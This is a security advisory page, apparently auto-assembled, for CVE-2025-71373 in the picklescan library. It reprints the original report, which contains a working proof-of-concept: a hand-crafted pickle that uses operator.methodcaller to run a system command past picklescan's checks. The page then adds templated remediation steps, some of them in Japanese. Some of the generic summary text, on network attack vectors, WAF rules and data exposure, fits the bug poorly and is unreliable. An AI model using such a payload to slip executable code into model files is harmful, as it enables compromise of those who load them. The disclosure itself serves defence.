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CVE-2025-71373 high CVSS 8.1

Vulnerability in picklescan (CVE-2025-71373)

Summary

Vulnerability in picklescan (CVE-2025-71373). Confidential information can be exposed externally. Exploitable via operator.methodcaller. Mitigation: upgrade to 0.0.33 or later.

Original description

The description as published by the source.

Summary

Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

  • First, the attacker crafts the payload by calling the operator.methodcaller function in method reduce.
  • Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)

This PoC can't be easily created by pickle.dumps, therefore it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2025-71373 has been found in picklescan.
Attackers can target a specific entry point like operator.methodcaller over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 8.1/10.
What to do: upgrade picklescan to 0.0.33 or later.
If unsure, ask your IT team or search "picklescan CVE-2025-71373" on the vendor's site.

CVE-2025-71373 (picklescan) — CWE-693 / CVSS v3 8.1
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: operator.methodcaller / reduce
Patched: 0.0.33 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-693) exists in picklescan. Attackers reach the vulnerable code path via operator.methodcaller without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of picklescan. Attack surface: operator.methodcaller / reduce.

🔥 Severity

Severity: High (CVSS 8.1/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 0.0.33.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'picklescan' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'picklescan' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で picklescan を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade picklescan to 0.0.33

    ステージング環境で 0.0.33 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

PyPI picklescan
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33"}]}]

References

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